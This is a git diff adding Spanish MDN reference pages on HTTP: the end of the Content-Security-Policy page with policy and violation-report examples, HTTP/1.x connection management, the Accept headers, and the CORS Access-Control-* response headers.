El administrador de un sitio web desea permitir el contenido de un dominio de confianza y todos sus subdominios (no tiene que ser el mismo dominio en el que está configurado el CSP).

+ +
Content-Security-Policy: default-src 'self' *.trusted.com
+ +

Ejemplo 3

+ +

El administrador de un sitio web desea permitir que los usuarios de una aplicación web incluyan imágenes de cualquier origen en su propio contenido, pero restringen los medios de audio o video a proveedores de confianza, y todas las secuencias de comandos solo a un servidor específico que aloja un código de confianza.

+ +
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
+ +

Aquí, de forma predeterminada, el contenido solo se permite desde el origen del documento, con las siguientes excepciones:

+ + + +

Ejemplo 4

+ +

En administrador de un sitio web de banca en línea quiere asegurarse de que todo su contenido se cargue mediante SSL, para evitar que los atacantes puedan espiar las solicitudes.

+ +
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
+ +

El servidor solo permite el acceso a documentos que se cargan específicamente a través de HTTPS a través del único origen onlinebanking.jumbobank.com.

+ +

Ejemplo 5

+ +

El administrador de un sitio de correo web desea permitir HTML en el correo electrónico, así como imágenes cargadas desde cualquier lugar, pero no JavaScript u otro contenido potencialmente peligroso.

+ +
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *
+ +

Tenga en cuenta que este ejemplo no especifica un {{CSP ("script-src")}} ; con el CSP de ejemplo, este sitio utiliza la configuración especificada por la directiva {{CSP ("default-src")}} , lo que significa que los scripts solo se pueden cargar desde el servidor de origen.

+ +

Comprobando una política

+ +

Para facilitar la implementación, CSP se puede implementar en modo de solo informe. La política no se aplica, pero cualquier violación se informa a un URI proporcionado. Además, se puede usar una cabecera de solo informe para probar una futura revisión de una política sin implementarla realmente.
+
+ Se puede usar la cabecera HTTP {{HTTPHeader ("Content-Security-Policy-Report-Only")}} para especificar una política de la siguiente manera:

+ +
Content-Security-Policy-Report-Only: policy
+ +

Si la cabecera {{HTTPHeader ("Content-Security-Policy-Report-Only")}} y la cabecera {{HTTPHeader ("Content-Security-Policy")}} están presentes en la misma respuesta, ambas políticas se cumplen. La política especificada en la cabecera Content-Security-Policy se aplica, mientras que la política Content-Security-Policy-Report-Only genera informes pero no se aplica.

+ +

Habilitación de informes

+ +

Por defecto, los informes de violación no son enviados. Para habilitar los informes de violación, debe especificar la directiva de políticas {{CSP ("report-uri")}} , proporcionando al menos un URI al que entregar los informes:

+ +
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
+ +

Luego se debe configurar el servidor para recibir los informes; se pueden almacenar o procesar de la manera que considere apropiada.

+ +

Sintáxis del informe de violación

+ +

El informe es un objeto JSON que contiene los datos siguientes:

+ +
+
blocked-uri
+
El URI del recurso bloqueado por la Política de Seguridad de Contenido. Si el URI bloqueado es de un origen diferente al del document-uri, el URI bloqueado se trunca para contener solo el esquema, el host y el puerto.
+
+ +
+
disposition
+
Toma el valor "enforce" o "reporting" dependiendo de si se utiliza la cabecera {{HTTPHeader("Content-Security-Policy-Report-Only")}} o Content-Security-Policy.
+
document-uri
+
El URI del documento donde ocurrió la violación.
+
effective-directive
+
La directiva cuya aplicación causó la violación.
+
original-policy
+
La política original especificada por la cabecera HTTP Content-Security-Policy.
+
referrer
+
El referente del documento en el que ocurrió la violación.
+
script-sample
+
Los primeros 40 caracteres del script inline, el controlador de eventos o el estilo que causó la violación.
+
status-code
+
El código de estado HTTP del recurso en el que se creó una instancia del objeto global.
+
violated-directive
+
El nombre de la sección de política que fue violada.
+
+ +

Ejemplo de informe de violación

+ +
Consideremos una página ubicada en http://example.com/signup.html que tiene las siguiente política: rechazar todo, excepto las hojas de estilo provenientes de cdn.example.com.
+ +
+
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+
+ +
El código HTML de signup.html es el siguiente:
+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Sign Up</title>
+    <link rel="stylesheet" href="css/style.css">
+  </head>
+  <body>
+    ... Content ...
+  </body>
+</html>
+ +
¿Puedes ver el error? Las hojas de estilo solo se pueden cargar desde cdn.example.com, pero el sitio web intenta cargar una desde su propio origen (http://example.com). Un navegador capaz de aplicar el CSP enviará el siguiente informe de violación mediante una solicitud POST a http://example.com/_/csp-reports, cuando se visite el documento:
+ +
{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}
+ +

Como se puede ver, el informe incluye la ruta completa al recurso infractor en blocked-uri. Este no es siempre el caso. Por ejemplo, cuando signup.html intente cargar el CSS desde http://anothercdn.example.com/stylesheet.css, el navegador no incluiría la ruta completa, sino solo el origen (http://anothercdn.example.com ). La especificación CSP da una explicación de este extraño comportamiento. En resumen, esto se hace para evitar la pérdida de información confidencial sobre recursos de origen cruzado.

+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.csp")}}

+ +

Existe una incompatibilidad específica en algunas versiones del navegador web Safari, por lo que si se establece una cabecera de Política de Seguridad de Contenido, pero no una cabecera de Same Origin, el navegador bloqueará el contenido alojado de forma autónoma y el contenido externo, e informará incorrectamente de que esto es debido a que la Política de Seguridad del Contenido no permite el contenido.

+ +
+
+
+ + + +

Vea también

+ + diff --git a/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html new file mode 100644 index 0000000000..5e9fff8fa9 --- /dev/null +++ b/files/es/web/http/gestion_de_la_conexion_en_http_1.x/index.html @@ -0,0 +1,86 @@ +--- +title: Gestión de la conexión en HTTP/1.x +slug: Web/HTTP/Gestion_de_la_conexion_en_HTTP_1.x +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +--- +
{{HTTPSidebar}}
+ +

La gestión de las conexiones en un tema fundamental en HTTP: crear y mantener una conexión tiene una gran influencia en el rendimiento de las páginas Web y las aplicaciones Web. En la versión HTTP/1.x, hay modos de conexión: conexiones breves, conexiones persistentes, y 'pipelining'.

+ +

HTTP la mayor parte de las veces se basa en TCP, como protocolo de transporte, dando conexión entre el cliente y el servidor. En sus comienzos, HTTP, únicamente tenia un modelo para gestionar dichas conexiones. Aquellas conexiones eran conexiones breves: se creaba una cada vez que una petición necesitaba ser transmitida, y se cerraba, una vez que la respuesta se había recibido. 

+ +

Este sencillo modelo tenía una limitación intrínseca en su rendimiento: abrir una conexión TCP es una operación costosa en recursos. Se necesitan intercambiar varios mensajes entre el cliente y el servidor para hacerlo. Y la latencia de la red y su ancho de banda, se veían afectados cuando se realizaba una petición. Las páginas web actuales, necesitan varias peticiones (una docena o más) para tener la información necesaria, de manera que este primer modelo es ineficiente para ellas.

+ +

Dos nuevos modelos se presentaron en HTTP/1.1. La conexión persistente, mantiene las conexiones abiertas, entre peticiones sucesivas, eliminando así el tiempo necesario para abrir nuevas conexiones. El modelo 'pipelining' va un paso más allá, y envía varias peticiones sucesivas, sin esperar por la respuesta, reduciendo significativamente la latencia en la red. 

+ +

Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.

+ +
+

HTTP/2 añade nuevos modelos para la gestión de la conexión. 

+
+ +

Un punto significativo a tener en cuenta en la gestión de la conexión de HTTP, es que este se refiere a la conexión establecida entre dos nodos consecutivos de la red, esto se denomina hop-by-hop, en contraposición al concepto de  end-to-end. El modelo de conexión entre un cliente y su primer proxy, puede ser distinto que la comunicación entre el proxy y el servidor de destino (u otro proxy intermedio).  Las cabeceras de HTTP utilizadas para definir el modelo de conexión como  {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}}, se refieren a una conexión hop-by-hop, y estos parámetros, pueden variar en las comunicaciones de los nodos intermedios. 

+ +

Un tema también relativo a esto, es el concepto de conexiones con protocolos HTTP superiores, donde una conexión HTTP/1.1 se actualiza a un protocolo distinto, como puede ser TLS/1.0, WebSockets, o HTTP/2.  Este mecanismo de actualización del protocolo se encuentra documentado en otra página.

+ +

Conexiones breves

+ +

El modelo original de HTTP, y el modelo de HTTP/1.0, está basado, en conexiones breves. Cada petición HTTP, se completa estableciendo (iniciando, estableciendo y cerrando) su propia conexión. Esto supone que la coordinación en el protocolo HTTP (handshake), sucede de forma previa a cada petición HTTP.

+ +

La coordinación o inicialización de una comunicación en el protocolo TCP, requiere un tiempo dado, pero al adaptarse el protocolo TCP a su carga de transmisión de datos, este incrementa su eficiencia cuando se mantiene la conexión en el tiempo, utilizándose una conexión para transmitir numerosos peticiones de datos. Las conexiones breves, no utilizan esta característica del protocolo TCP, y el rendimiento de la conexión es peor que en el caso óptimo, al estar constantemente necesitando iniciar conexiones para transmitir cada mensaje (esto se conoce como conexiones 'en frio', o en inglés: 'cold connections'). 

+ +

La conexión breve es la conexión usada por defecto en HTTP/1.0 (únicamente en el caso de no esté definida la  cabecera {{HTTPHeader("Connection")}}, o su valor sea  close  entonces, no se utilizaria el modelo de conexiones breves). En HTTP/1.1, este modelo de conexión unicamente se utiliza al definir la cabecera  {{HTTPHeader("Connection")}} como close  .

+ +
+

A menos que  se de la situación en que se ha de trabajar con sistemas antiguos que no soportan conexiones persistentes, no hay otra razón para el uso de este modelo de conexiones. 

+
+ +

Conexiones persistentes

+ +

Las conexiones breves, tienen dos importantes desventajas: el tiempo que necesitan para establecer una nueva conexión es significativo, y la eficacia del protocolo inferior a HTTP: el TCP unicamente mejora cuando la conexión ha estado funcionando durante algún tiempo (conexión caliente o 'warm connection' en inglés). Para atenuar dichos inconvenientes, se presentó el concepto de conexión persistente, ya incluso antes de presentar el protocolo HTTP/1.1. También se le conoce como 'keep-alive connection' que en inglés indica una conexión que se mantiene viva. 

+ +

Una conexión persistente es aquella la cual permanece abierta por un periodo, y puede ser reutilizada por varias peticiones de datos, ahorrando así la necesidad de efectuar nuevas sincronizaciones a nivel de TCP, de esta manera se puede usar más eficazmente el protocolo TCP. Esta conexión no estará abierta permanentemente, si la conexión no se usa, se cerrará después de un tiempo determinado (un servidor puede usar la cabecera {{HTTPHeader("Keep-Alive")}} para definir el tiempo mínimo que la conexión debería estar abierta. 

+ +

Las conexiones persistentes también tienen sus desventajas: incluso cuando no están transmitiendo datos, consumen recursos, y en casos en que la red esté soportando una carga de transferencia muy alta, un {{glossary("DoS attack", "ataque DoS ")}} puede realizarse. En estos casos, el uso de conexiones no persistentes, las cuales se cierran tan pronto como no necesitan transmitir, pueden resultar en un sistema más eficaz.

+ +

HTTP/1.0 las conexiones HTTP/1.0 no son persistentes por defecto. Si se indica en la cabecera de un mensaje {{HTTPHeader("Connection")}} cualquier otro valor que no sea:  close, como puede ser: retry-after,  en tal caso, se harán conexiones persistentes. 

+ +

En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera no se necesita (aunque usualmente se añade como medida defensiva, en caso de que se tenga que utilizar el protocolo HTTP/1.0).

+ +

HTTP pipelining

+ +
+

HTTP pipelining no está activado por defecto en los navegacdores modernos:

+ + + +

Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la multiplexación, que es el que usa HTTP/2.

+
+ +

Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es vista por el servidor.

+ +

Pipelining es un proceso para enviar peticiones sucesivas, sobre la misma conexión persistente, sin esperar a la respuesta. Esto evita latencias en la conexión. En teoría, el rendimiento también podría mejorar si dos peticiones HTTP se empaquetaran en el mismo mensaje TCP. El MSS (Maximum Segment Size) típico, es suficientemente grande para contener varias peticiones simples, aunque la demanda de tamaño de las peticiones HTTP sigue creciendo.

+ +

No todos los tipos de peticiones HTTP pueden ser utilizadas en pipeline: solo métodos {{glossary("idempotent")}} como {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} and {{HTTPMethod("DELETE")}} pueden ser repetidos sin incidencias. Si ocurre un fallo, el contenido se puede simplemente reenviar.

+ +

Hoy en día, todo proxy y servidor que cumpla con HTTP/1.1 debería dar soporte a pipelining, aunque en práctica tenga muchas limitaciones. Por esta razón, ningún explorador moderno lo activa por defecto.

+ +

Domain sharding

+ +
+

Unless you have a very specific immediate need, don't use this deprecated technique; switch to HTTP/2 instead. In HTTP/2, domain sharding is no more useful: the HTTP/2 connection is able to handle parallel unprioritized requests very well. Domain sharding is even detrimental to performance. Most HTTP/2 implementation use a technique called connection coalescing to revert eventual domain sharding.

+
+ +

As an HTTP/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. As a solution, browsers open several connections to each domain, sending parallel requests. Default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. There is a risk of triggering DoS protection on the server side if attempting more than this number.

+ +

If  the server wishes a faster Web site or application response, it is possible for the server to force the opening of more connections. For example, Instead of having all resources on the same domain, say www.example.com, it could split over several domains, www1.example.com, www2.example.com, www3.example.com. Each of these domains resolve to the same server, and the Web browser will open 6 connections to each (in our example, boosting the connections to 18). This technique is called domain sharding.

+ +

+ +

Conclusión

+ +

Las mejoras en la gestión de las conexiones, han significado un considerable aumento en el rendimiento del protocolo HTTP. Con HTTP/1.1 o HTTP/1.0, el uso de una conexión persistente - al menos hasta que que no necesite transmitir más datos- resulta en un significativo aumento en el rendimiento de la comunicación. Incluso, el fracaso de. método de pipelining, ha resultado en el diseño de modelos superiores para la gestión de la conexión, todo lo cual se ha incorporado en HTTP/2. 

diff --git a/files/es/web/http/headers/accept-charset/index.html b/files/es/web/http/headers/accept-charset/index.html new file mode 100644 index 0000000000..a6a5f9c6c8 --- /dev/null +++ b/files/es/web/http/headers/accept-charset/index.html @@ -0,0 +1,85 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +tags: + - Negociación de Contenido +translation_of: Web/HTTP/Headers/Accept-Charset +--- +
{{HTTPSidebar}}
+ +

The Accept-Charset request HTTP header advertises which character set the client is able to understand. Using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice within the {{HTTPHeader("Content-Type")}} response header. Browsers usually don't set this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting.

+ +

If the server cannot serve any matching character set, it can theoretically send back a {{HTTPStatus("406")}} (Not Acceptable) error code. But, for a better user experience, this is rarely done and the more common way is to ignore the Accept-Charset header in this case.

+ +
+

In early versions of HTTP/1.1, a default charset (ISO-8859-1) was defined. This is no more the case and now each content type may have its own default.

+
+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Syntax

+ +
Accept-Charset: <charset>
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+ +

Directives

+ +
+
<charset>
+
Un conjunto de caracteres como utf-8 o iso-8859-15.
+
*
+
Any charset not mentioned elsewhere in the header; '*' being used as a wildcard.
+
;q= (q-factor weighting)
+
Any value is placed in an order of preference expressed using a relative quality value called the weight.
+
+ +

Examples

+ +
Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Accept-Charset")}}

+ +

También puedes revisar:

+ + diff --git a/files/es/web/http/headers/accept-ranges/index.html b/files/es/web/http/headers/accept-ranges/index.html new file mode 100644 index 0000000000..30b447504b --- /dev/null +++ b/files/es/web/http/headers/accept-ranges/index.html @@ -0,0 +1,70 @@ +--- +title: Accept-Ranges +slug: Web/HTTP/Headers/Accept-Ranges +translation_of: Web/HTTP/Headers/Accept-Ranges +--- +

El encabezado de respuesta HTTP Accept-Ranges es un marcador usado por el servidor para notificar que soporta solicitudes parciales. El valor de este campo indica la unidad que puede ser usada para definir el rango.

+ +

En caso de estar presente un encabezado de respuesta Accept-Ranges, el navegador puede intentar restablecer una descarga interrumpida, en vez de reiniciarla o comenzarla desde el principio.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Accept-Ranges: bytes
+Accept-Ranges: none
+ +

Directivas

+ +
+
none
+
No indicar la unidad de medida del rango no está soportado, esto hace que el encabezado sea tomado como ausente, y por lo tanto es usado raramente, aunque algunos exploradores , como IE9, esto es usado para inhabilitar o remover el botón de pausa en el administrador de descargas.
+
bytes
+
+

La unidad de medida del rango es bytes.

+
+
+ +

Ejemplos

+ +
Accept-Ranges: bytes
+
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7233", "Accept-Ranges", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http/headers/accept-ranges")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/headers/accept/index.html b/files/es/web/http/headers/accept/index.html new file mode 100644 index 0000000000..7311f2498f --- /dev/null +++ b/files/es/web/http/headers/accept/index.html @@ -0,0 +1,99 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +tags: + - Cabecera HTTP + - Cabecera de Pedido + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/Accept +--- +
{{HTTPSidebar}}
+ +

La cabecera de pedido Accept anuncia que tipo de contenido el cliente puede procesar, expresado como un tipo MIME. Usando negociación de contenido, el servidor selecciona una de las propuestas , la utiliza e informa al cliente de la elección a través de  la cabecera de respuesta {{HTTPHeader("Content-Type")}} .

+ +

Los navegadores configuran los valores adecuados en dependencia del contexto donde se ha hecho el pedido, por ejemplo: al solicitar una hoja de estilos CSS es configurado un valor diferente que cuando se solicita una imagen, un video o un script.

+ + + + + + + + + + + + + + + + +
Tipo de Cabecera{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple header", "CORS-safelisted request-header")}}si
+ +

Sintaxis

+ +
Accept: <MIME_type>/<MIME_subtype>
+Accept: <MIME_type>/*
+Accept: */*
+
+// Multiples tipos, priorizados con {{glossary("quality values", "quality value")}} sintaxis:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+ +

Directivas

+ +
+
<MIME_type>/<MIME_subtype>
+
Un único y preciso tipo MIME, como text/html.
+
<MIME_type>/*
+
Un tipo MIME, pero con cualquier subtipo.
+
Por ejmplo, image/* comincide con: +
    +
  • image/png
    • +
  • image/svg
    • +
  • image/gif 
    • +
+
+
*/*
+
Culaquier tipo MIME
+
;q= (donde q es la importancia o peso)
+
Culaquier valor es colocado en orden de preferencia, expresada usando un valor de calidad llamado weight (peso en español).
+
+ +

Ejemplos

+ +
Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTitulo
{{RFC("7231", "Accept", "5.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Compatibilidad con Navegadores

+ + + +

{{Compat("http.headers.Accept")}}

+ +

Tambien Ver

+ + diff --git a/files/es/web/http/headers/access-control-allow-credentials/index.html b/files/es/web/http/headers/access-control-allow-credentials/index.html new file mode 100644 index 0000000000..1b01c6d9ac --- /dev/null +++ b/files/es/web/http/headers/access-control-allow-credentials/index.html @@ -0,0 +1,99 @@ +--- +title: Access-Control-Allow-Credentials +slug: Web/HTTP/Headers/Access-Control-Allow-Credentials +tags: + - Access-Control-Allow-Credencials + - CORS + - HTTP + - Referencia + - credenciales + - encabezado +translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta Access-Control-Allow-Credentials le dice al navegador si exponer la respuesta al código JavaScript (del frontend) cuando el modo credenciales en la petición es incluído.

+ +

Cuando las credenciales de una petición ({{domxref("Request.credentials")}}) es include, los navegadores sólo expondran la respuesta al código JavaScript del frontend si el valor de Access-Control-Allow-Credentials es true.

+ +

Las credenciales son cookies, encabezados de autorización o certíficados de cliente TLS.

+ +

Cuando se usa como parte de una respueste a una petición previa, indica si la petición real puede ser hecha utilizando credenciales. Note que peticiones {{HTTPMethod("GET")}} sencillas no tienen una solicitud previa, y por lo tanto, una petición es hecha por un recurso con credenciales, si el encabezado no regresa con el recurso, la respuesta es ignorada por el navegador y no es devuelto como contenido web.

+ +

El encabezado Access-Control-Allow-Credentials trabaja en conjunción con la propiedad {{domxref("XMLHttpRequest.withCredentials")}} o con la opción credentials en el constructor {{domxref("Request.Request()", "Request()")}}  de la API Fetch. Para una petición CORS con credenciales, para que el navegador exponga la respuesta al código JavaScript del fronend, tanto el servidor (utilizando el encabezado Access-Control-Allow-Credentials) y el cliente (al configurar el modo de las credenciales para peticiones XHR, Fetch, o Ajax) se debe indicar que estan permitiendo la inclusión de credenciales.

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header", "Respuesta del encabezado")}}
{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}no
+ +

Sintaxis

+ +
Access-Control-Allow-Credentials: true
+
+ +

Directivas

+ +
+
true
+
El único valor válido para este encabezado es true (en minúsculas). Si no se necesitan credenciales, se debe omitir este encabezado (en lugar de colocar su valor como false).
+
+ +

Ejemplos

+ +

Permitir credenciales:

+ +
Access-Control-Allow-Credentials: true
+ +

Utilizando XHR con credenciales:

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);
+ +

Utilizando Fetch con credenciales:

+ +
fetch(url, {
+  credentials: 'include'
+})
+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
EspecifiaciónEstadoComentario
{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}{{Spec2("Fetch")}}Definición inicial
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Access-Control-Allow-Credentials")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/access-control-allow-headers/index.html b/files/es/web/http/headers/access-control-allow-headers/index.html new file mode 100644 index 0000000000..616007cab2 --- /dev/null +++ b/files/es/web/http/headers/access-control-allow-headers/index.html @@ -0,0 +1,93 @@ +--- +title: Access-Control-Allow-Headers +slug: Web/HTTP/Headers/Access-Control-Allow-Headers +tags: + - CORS + - encabezado + - encabezado HTTP + - header +translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta Access-Control-Allow-Headers es usado en la respuesta  a una {{glossary("preflight request", "solicitud preflight")}} para indicar cuáles encabezados HTTP pueden ser usados durante dicha solicitud.

+ +

Los {{glossary("simple header", "encabezados simples")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (pero sólo con un tipo MIME de sus valores analizados (ignorando los parámetros) de cualquier application/x-www-form-urlencoded, multipart/form-data, o text/plain), siempre están disponibles y no necesitan ser incluidos por este encabezado.

+ +

Este encabezado es necesario si la solicitud tiene un encabezado {{HTTPHeader("Access-Control-Request-Headers")}}.

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header", "Encabezado de respuesta")}}
{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}no
+ +

Sintaxis

+ +
Access-Control-Allow-Headers: <nombre-de-encabezado>, <nombre-de-encabezado>, ...
+
+ +

Directivas

+ +
+
<nombre-de-encabezado>
+
Lista de los encabezados soportados separados por una coma.
+
+ +

Ejemplos

+ +
Access-Control-Allow-Headers: X-Custom-Header
+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}{{Spec2("Fetch")}}Definición inicial.
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.Access-Control-Allow-Headers")}}

+ +

Notas de compatibilidad

+ + + +

Véase también

+ + diff --git a/files/es/web/http/headers/access-control-allow-methods/index.html b/files/es/web/http/headers/access-control-allow-methods/index.html new file mode 100644 index 0000000000..062ed99783 --- /dev/null +++ b/files/es/web/http/headers/access-control-allow-methods/index.html @@ -0,0 +1,81 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Headers/Access-Control-Allow-Methods +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +
{{HTTPSidebar}}
+ +

La cabecera de respuesta Access-Control-Allow-Methods especifica el método o los métodos aceptados cuando se accede al recurso en respuesta de un {{glossary("preflight request")}}.

+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Access-Control-Allow-Methods: <method>, <method>, ...
+
+ +

Directivas

+ +
+
<método>
+
Comma-delimited list of the allowed HTTP request methods.
+
+ +

Ejemplos

+ +
Access-Control-Allow-Methods: POST, GET, OPTIONS
+ +

Especificaciones

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}{{Spec2("Fetch")}}Initial definition
+ +

Compatibilidad de navegador

+ + + +

{{Compat("http.headers.Access-Control-Allow-Methods")}}

+ +

Notas de compatibilidad

+ + + +

See also

+ + diff --git a/files/es/web/http/headers/access-control-allow-origin/index.html b/files/es/web/http/headers/access-control-allow-origin/index.html new file mode 100644 index 0000000000..e3fed487a2 --- /dev/null +++ b/files/es/web/http/headers/access-control-allow-origin/index.html @@ -0,0 +1,99 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +tags: + - Access Control + - Access-Control-Allow-Origin + - CORS + - HTTP + - Lidiando con CORS + - Origen + - Referencia + - Seguridad + - encabezado HTTP + - error cross-origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta Access-Control-Allow-Origin indica si los recursos de la respuesta pueden ser compartidos con el {{glossary("origin", "origen")}} dado.

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header", "Encabezado de respuesta")}}
{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}no
+ +

Sintaxis

+ +
Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: <origen>
+Access-Control-Allow-Origin: null
+
+ +

Directivas

+ +
+
*
+
Para las peticiones sin credenciales, el servidor puede especificar el caracter "*" como un comodín, permitiendo a cualquier origen acceder al recurso. El acceso será permitido solamente para las peticiones hechas con el atributo {{htmlattrxref("crossorigin")}} definido como "anonymous". Intentar usar el comodín con credenciales resultará en un error.
+
+
<origen>
+
Especifica que origen puede acceder al recurso. Sólo se puede especificar un origen.
+
+ +

Ejemplos

+ +

Para permitir a cualquier origen el acceso a tus recursos, puedes especificar:

+ +
Access-Control-Allow-Origin: *
+ +

Una respuesta que le dice al navegador que permita la petición de código del origen https://developer.mozilla.org para acceder a los recursos que incluyan lo siguiente:

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+ +

Limitando los posibles valores Access-Control-Allow-Origin de un conjunto de orígenes permitidos requiere código del lado del servidor para revisar el valor de la encabezado de petición {{HTTPHeader("Origin")}}, comparan con la lista de valores permitidos, y entonces si el valor {{HTTPHeader("Origin")}} se encuentra en la lista, para definir el valor de Access-Control-Allow-Origin al mismo valor que {{HTTPHeader("Origin")}}.

+ +

CORS y caché

+ +

Si el servidor envía una respuesta con un valor Access-Control-Allow-Origin que es un origen explícito (en lugar del comodín "*"), entonces a respuesta debería incluir también el encabezado de respuesta {{HTTPHeader("Vary")}} con el valor origin - para indicar a los navegadores que las respuestas del servidor pueden diferir basadas en el valor del encabezado de respueta Origin.

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}{{Spec2("Fetch")}}Definición Inicial.
+ +

Compatibilidad del Navegador

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

Veáse también

+ + diff --git a/files/es/web/http/headers/access-control-expose-headers/index.html b/files/es/web/http/headers/access-control-expose-headers/index.html new file mode 100644 index 0000000000..22ecdf4f75 --- /dev/null +++ b/files/es/web/http/headers/access-control-expose-headers/index.html @@ -0,0 +1,115 @@ +--- +title: Access-Control-Expose-Headers +slug: Web/HTTP/Headers/Access-Control-Expose-Headers +tags: + - CORS + - Cabecera + - HTTP +translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers +--- +
{{HTTPSidebar}}
+ +

La cabecera de respuesta Access-Control-Expose-Headers indica qué cabeceras pueden ser expuestas como parte de la respuesta listando sus nombres.

+ +

Por defecto, solo se exponen las 7 cabeceras HTTP seguras ({{Glossary("CORS-safelisted response header", "CORS-safelisted response headers")}}, {{Glossary("Simple response header", "simple response headers")}}):

+ + + +

Si quieres que los clientes puedan acceder a otra cabeceras, tienes que listarlas usando la cabecera Access-Control-Expose-Headers

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Access-Control-Expose-Headers: <header-name>, <header-name>, ...
+Access-Control-Expose-Headers: *
+ +

Directivas

+ +
+
<header-name>
+
Una lista de cabeceras expuestas que consiste en cero o mas nombres de cabeceras diferentes a {{Glossary("Simple response header", "simple response headers")}} que el recurso puede usar y pueden ser expuestas.
+
